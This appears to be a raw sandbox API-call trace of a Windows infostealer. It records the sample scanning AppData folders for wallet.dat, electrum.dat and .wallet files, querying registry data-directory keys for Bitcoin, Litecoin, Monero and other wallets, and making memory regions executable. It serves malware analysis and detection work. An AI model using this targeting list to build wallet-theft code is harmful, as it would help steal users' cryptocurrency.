GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Macromedia\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\wallets\\.wallet")) returned 0xffffffff [0165.614] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Macromedia\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\wallet.dat")) returned 0xffffffff [0165.614] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Macromedia\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\wallets\\wallet.dat")) returned 0xffffffff [0165.614] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Macromedia\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\electrum.dat")) returned 0xffffffff [0165.615] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Macromedia\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\macromedia\\wallets\\electrum.dat")) returned 0xffffffff [0165.615] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf30a04b0, ftCreationTime.dwHighDateTime=0x1d5d8e8, ftLastAccessTime.dwLowDateTime=0x155da0b0, ftLastAccessTime.dwHighDateTime=0x1d5e403, ftLastWriteTime.dwLowDateTime=0x155da0b0, ftLastWriteTime.dwHighDateTime=0x1d5e403, nFileSizeHigh=0x0, nFileSizeLow=0x17011, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mg5zkU.png", cAlternateFileName="")) returned 1 [0165.615] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Mg5zkU.png\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mg5zku.png\\.wallet")) returned 0xffffffff [0165.615] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Mg5zkU.png\\wallets\\.wallet" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mg5zku.png\\wallets\\.wallet")) returned 0xffffffff [0165.615] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Mg5zkU.png\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mg5zku.png\\wallet.dat")) returned 0xffffffff [0165.616] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Mg5zkU.png\\wallets\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mg5zku.png\\wallets\\wallet.dat")) returned 0xffffffff [0165.616] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Mg5zkU.png\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mg5zku.png\\electrum.dat")) returned 0xffffffff [0165.616] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\\\Mg5zkU.png\\wallets\\electrum.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mg5zku.png\\wallets\\electrum.dat")) returned 0xffffffff [0165.616] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xa4ff5620, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa4ff5620, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0165.617] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cf7ab10, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ee48ec0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3ee48ec0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0165.617] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7acb740, ftCreationTime.dwHighDateTime=0x1d5db92, ftLastAccessTime.dwLowDateTime=0xe9d7cc30, ftLastAccessTime.dwHighDateTime=0x1d5d81e, ftLastWriteTime.dwLowDateTime=0xe9d7cc30, ftLastWriteTime.dwHighDateTime=0x1d5d81e, nFileSizeHigh=0x0, nFileSizeLow=0x9d32, dwReserved0=0x0, dwReserved1=0x0, cFileName="OtA3DHv0xtgw_baFus5.jpg", cAlternateFileName="OTA3DH~1.JPG")) returned 1 [0165.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x537b9f30, ftCreationTime.dwHighDateTime=0x1d5db68, ftLastAccessTime.dwLowDateTime=0x419ab9d0, ftLastAccessTime.dwHighDateTime=0x1d5e19a, ftLastWriteTime.dwLowDateTime=0x419ab9d0, ftLastWriteTime.dwHighDateTime=0x1d5e19a, nFileSizeHigh=0x0, nFileSizeLow=0x89ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="POoDHAxD7MjNVptfY3.mkv", cAlternateFileName="POODHA~1.MKV")) returned 1 [0165.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8f271f0, ftCreationTime.dwHighDateTime=0x1d5e7d3, ftLastAccessTime.dwLowDateTime=0xbfba1510, ftLastAccessTime.dwHighDateTime=0x1d5e134, ftLastWriteTime.dwLowDateTime=0xbfba1510, ftLastWriteTime.dwHighDateTime=0x1d5e134, nFileSizeHigh=0x0, nFileSizeLow=0xdeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="r9Qw9lZf0w4xf4 E3m.png", cAlternateFileName="R9QW9L~1.PNG")) returned 1 [0165.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6c00c0, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x1e2c2550, ftLastAccessTime.dwHighDateTime=0x1d5e641, ftLastWriteTime.dwLowDateTime=0x1e2c2550, ftLastWriteTime.dwHighDateTime=0x1d5e641, nFileSizeHigh=0x0, nFileSizeLow=0x1178a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SjXMkfbSXk2.wav", cAlternateFileName="SJXMKF~1.WAV")) returned 1 [0165.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2e679e90, ftCreationTime.dwHighDateTime=0x1d2f189, ftLastAccessTime.dwLowDateTime=0x2e679e90, ftLastAccessTime.dwHighDateTime=0x1d2f189, ftLastWriteTime.dwLowDateTime=0x2e679e90, ftLastWriteTime.dwHighDateTime=0x1d2f189, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0165.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b5aa2f0, ftCreationTime.dwHighDateTime=0x1d5e6c2, ftLastAccessTime.dwLowDateTime=0xded5a610, ftLastAccessTime.dwHighDateTime=0x1d5e6f4, ftLastWriteTime.dwLowDateTime=0xded5a610, ftLastWriteTime.dwHighDateTime=0x1d5e6f4, nFileSizeHigh=0x0, nFileSizeLow=0x34f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TdE_9.doc", cAlternateFileName="")) returned 1 [0165.622] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cda1bc0, ftCreationTime.dwHighDateTime=0x1d5da0b, ftLastAccessTime.dwLowDateTime=0x98bb8c10, ftLastAccessTime.dwHighDateTime=0x1d5df85, ftLastWriteTime.dwLowDateTime=0x98bb8c10, ftLastWriteTime.dwHighDateTime=0x1d5df85, nFileSizeHigh=0x0, nFileSizeLow=0xba83, dwReserved0=0x0, dwReserved1=0x0, cFileName="txyS447T.odt", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1067130, ftCreationTime.dwHighDateTime=0x1d5def6, ftLastAccessTime.dwLowDateTime=0x56711ca0, ftLastAccessTime.dwHighDateTime=0x1d5e267, ftLastWriteTime.dwLowDateTime=0x56711ca0, ftLastWriteTime.dwHighDateTime=0x1d5e267, nFileSizeHigh=0x0, nFileSizeLow=0x18c48, dwReserved0=0x0, dwReserved1=0x0, cFileName="vDQD.bmp", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95b96370, ftCreationTime.dwHighDateTime=0x1d5dfe4, ftLastAccessTime.dwLowDateTime=0x77471780, ftLastAccessTime.dwHighDateTime=0x1d5e3f8, ftLastWriteTime.dwLowDateTime=0x77471780, ftLastWriteTime.dwHighDateTime=0x1d5e3f8, nFileSizeHigh=0x0, nFileSizeLow=0x681d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vJrR_JdiPfK4Nc.m4a", cAlternateFileName="VJRR_J~1.M4A")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc048e8c0, ftCreationTime.dwHighDateTime=0x1d5d9fb, ftLastAccessTime.dwLowDateTime=0xd3ba9fb0, ftLastAccessTime.dwHighDateTime=0x1d5e7f3, ftLastWriteTime.dwLowDateTime=0xd3ba9fb0, ftLastWriteTime.dwHighDateTime=0x1d5e7f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c87, dwReserved0=0x0, dwReserved1=0x0, cFileName="vmgokdubkc.jpg", cAlternateFileName="VMGOKD~1.JPG")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf19efa70, ftCreationTime.dwHighDateTime=0x1d5ddb3, ftLastAccessTime.dwLowDateTime=0xf46ce7e0, ftLastAccessTime.dwHighDateTime=0x1d5ddfd, ftLastWriteTime.dwLowDateTime=0xf46ce7e0, ftLastWriteTime.dwHighDateTime=0x1d5ddfd, nFileSizeHigh=0x0, nFileSizeLow=0x659d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WFGgNi.xls", cAlternateFileName="")) returned 1 [0165.623] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1075c300, ftCreationTime.dwHighDateTime=0x1d5dc5d, ftLastAccessTime.dwLowDateTime=0x19001a50, ftLastAccessTime.dwHighDateTime=0x1d5e7bd, ftLastWriteTime.dwLowDateTime=0x19001a50, ftLastWriteTime.dwHighDateTime=0x1d5e7bd, nFileSizeHigh=0x0, nFileSizeLow=0x13ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="XwsTp ZNvB7arkmk.wav", cAlternateFileName="XWSTPZ~1.WAV")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f697960, ftCreationTime.dwHighDateTime=0x1d5da09, ftLastAccessTime.dwLowDateTime=0x62923fb0, ftLastAccessTime.dwHighDateTime=0x1d5e068, ftLastWriteTime.dwLowDateTime=0x62923fb0, ftLastWriteTime.dwHighDateTime=0x1d5e068, nFileSizeHigh=0x0, nFileSizeLow=0xd243, dwReserved0=0x0, dwReserved1=0x0, cFileName="y4KqlP3nPQ.ots", cAlternateFileName="Y4KQLP~1.OTS")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4458da40, ftCreationTime.dwHighDateTime=0x1d5dfeb, ftLastAccessTime.dwLowDateTime=0xb0a402f0, ftLastAccessTime.dwHighDateTime=0x1d5db46, ftLastWriteTime.dwLowDateTime=0xb0a402f0, ftLastWriteTime.dwHighDateTime=0x1d5db46, nFileSizeHigh=0x0, nFileSizeLow=0x11e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="yB3igwFf23yf.odt", cAlternateFileName="YB3IGW~1.ODT")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc2f5010, ftCreationTime.dwHighDateTime=0x1d5e03c, ftLastAccessTime.dwLowDateTime=0x7ade55b0, ftLastAccessTime.dwHighDateTime=0x1d5dd6e, ftLastWriteTime.dwLowDateTime=0x7ade55b0, ftLastWriteTime.dwHighDateTime=0x1d5dd6e, nFileSizeHigh=0x0, nFileSizeLow=0x16333, dwReserved0=0x0, dwReserved1=0x0, cFileName="ymPiYK0Eiop4.swf", cAlternateFileName="YMPIYK~1.SWF")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6538edf0, ftCreationTime.dwHighDateTime=0x1d5e774, ftLastAccessTime.dwLowDateTime=0x4b00a270, ftLastAccessTime.dwHighDateTime=0x1d5e125, ftLastWriteTime.dwLowDateTime=0x4b00a270, ftLastWriteTime.dwHighDateTime=0x1d5e125, nFileSizeHigh=0x0, nFileSizeLow=0xbce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3SGa.wav", cAlternateFileName="")) returned 1 [0165.624] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa44 | out: lpFindFileData=0x1e7dfa44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6538edf0, ftCreationTime.dwHighDateTime=0x1d5e774, ftLastAccessTime.dwLowDateTime=0x4b00a270, ftLastAccessTime.dwHighDateTime=0x1d5e125, ftLastWriteTime.dwLowDateTime=0x4b00a270, ftLastWriteTime.dwHighDateTime=0x1d5e125, nFileSizeHigh=0x0, nFileSizeLow=0xbce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3SGa.wav", cAlternateFileName="")) returned 0 [0165.624] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0165.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.625] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0231a8, cbMultiByte=11, lpWideCharStr=0x1e7de950, cchWideChar=2047 | out: lpWideCharStr="wallet_path\\electrum.dat睯敳╲䐳┳㘲獵条獥慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 11 [0165.626] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\monero-project\\monero-core", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df954 | out: phkResult=0x1e7df954*=0x0) returned 0x2 [0165.626] RegQueryValueExW (in: hKey=0x0, lpValueName="wallet_path", lpReserved=0x0, lpType=0x1e7df95c, lpData=0x1e7df754, lpcbData=0x1e7df958*=0xfe | out: lpType=0x1e7df95c*=0x408152, lpData=0x1e7df754*=0x0, lpcbData=0x1e7df958*=0xfe) returned 0x6 [0165.626] RegCloseKey (hKey=0x80000001) returned 0x0 [0165.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0231c0, cbMultiByte=18, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="Bitcoin\\Bitcoin-Qtmonero-core慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.626] SysReAllocStringLen (in: pbstr=0x1fcffba4*=0x0, psz="Bitcoin\\Bitcoin-Qt", len=0x12 | out: pbstr=0x1fcffba4*="Bitcoin\\Bitcoin-Qt") returned 1 [0165.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0231e0, cbMultiByte=26, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="BitcoinGold\\BitcoinGold-Qtore慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 26 [0165.626] SysReAllocStringLen (in: pbstr=0x1fcffba8*=0x0, psz="BitcoinGold\\BitcoinGold-Qt", len=0x1a | out: pbstr=0x1fcffba8*="BitcoinGold\\BitcoinGold-Qt") returned 1 [0165.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023208, cbMultiByte=18, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="BitCore\\BitCore-QtnGold-Qtore慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 18 [0165.626] SysReAllocStringLen (in: pbstr=0x1fcffbac*=0x0, psz="BitCore\\BitCore-Qt", len=0x12 | out: pbstr=0x1fcffbac*="BitCore\\BitCore-Qt") returned 1 [0165.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f023228, cbMultiByte=20, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="Litecoin\\Litecoin-Qtold-Qtore慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 20 [0165.626] SysReAllocStringLen (in: pbstr=0x1fcffbb0*=0x0, psz="Litecoin\\Litecoin-Qt", len=0x14 | out: pbstr=0x1fcffbb0*="Litecoin\\Litecoin-Qt") returned 1 [0165.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f02324c, cbMultiByte=24, lpWideCharStr=0x1e7de958, cchWideChar=2047 | out: lpWideCharStr="BitcoinABC\\BitcoinABC-QtQtore慴獴㌥い㈥愶灰ṽṽ⹼眨Љ") returned 24 [0165.626] SysReAllocStringLen (in: pbstr=0x1fcffbb4*=0x0, psz="BitcoinABC\\BitcoinABC-Qt", len=0x18 | out: pbstr=0x1fcffbb4*="BitcoinABC\\BitcoinABC-Qt") returned 1 [0165.627] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Bitcoin\\Bitcoin-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df954 | out: phkResult=0x1e7df954*=0x0) returned 0x2 [0165.627] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x1e7df95c, lpData=0x1e7df754, lpcbData=0x1e7df958*=0xfe | out: lpType=0x1e7df95c*=0x1e7dfcb0, lpData=0x1e7df754*=0x0, lpcbData=0x1e7df958*=0xfe) returned 0x6 [0165.627] RegCloseKey (hKey=0x80000001) returned 0x0 [0165.627] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitcoinGold\\BitcoinGold-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df954 | out: phkResult=0x1e7df954*=0x0) returned 0x2 [0165.627] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x1e7df95c, lpData=0x1e7df754, lpcbData=0x1e7df958*=0xfe | out: lpType=0x1e7df95c*=0x1e7dfcb0, lpData=0x1e7df754*=0x0, lpcbData=0x1e7df958*=0xfe) returned 0x6 [0165.627] RegCloseKey (hKey=0x80000001) returned 0x0 [0165.627] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitCore\\BitCore-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df954 | out: phkResult=0x1e7df954*=0x0) returned 0x2 [0165.628] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x1e7df95c, lpData=0x1e7df754, lpcbData=0x1e7df958*=0xfe | out: lpType=0x1e7df95c*=0x1e7dfcb0, lpData=0x1e7df754*=0x0, lpcbData=0x1e7df958*=0xfe) returned 0x6 [0165.628] RegCloseKey (hKey=0x80000001) returned 0x0 [0165.628] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Litecoin\\Litecoin-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df954 | out: phkResult=0x1e7df954*=0x0) returned 0x2 [0165.628] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x1e7df95c, lpData=0x1e7df754, lpcbData=0x1e7df958*=0xfe | out: lpType=0x1e7df95c*=0x1e7dfcb0, lpData=0x1e7df754*=0x0, lpcbData=0x1e7df958*=0xfe) returned 0x6 [0165.628] RegCloseKey (hKey=0x80000001) returned 0x0 [0165.628] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitcoinABC\\BitcoinABC-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df954 | out: phkResult=0x1e7df954*=0x0) returned 0x2 [0165.628] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x1e7df95c, lpData=0x1e7df754, lpcbData=0x1e7df958*=0xfe | out: lpType=0x1e7df95c*=0x1e7dfcb0, lpData=0x1e7df754*=0x0, lpcbData=0x1e7df958*=0xfe) returned 0x6 [0165.628] RegCloseKey (hKey=0x80000001) returned 0x0 [0165.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022e5c, cbMultiByte=9, lpWideCharStr=0x1e7debf0, cchWideChar=2047 | out: lpWideCharStr="\\Electrum〲㜱〭ⴶ〳ㄠ㨰㔲㔺崵圠汥潣敭琠楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 9 [0165.629] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022e34, cbMultiByte=27, lpWideCharStr=0x1e7debec, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Electrum\\wallets\\楆敲潦൸栊瑴獰⼺眯睷洮穯汩慬漮杲支⵮单是物晥硯㈯⸵⼰楦獲牴湵യഊ\n") returned 27 [0165.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.630] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum\\wallets\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 0x34 [0165.630] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%appdata%\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.631] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ù}\x1e\x09\x04", lpUsedDefaultChar=0x0) returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.631] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1fcee718*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1fcee718*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0165.632] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x33 | out: 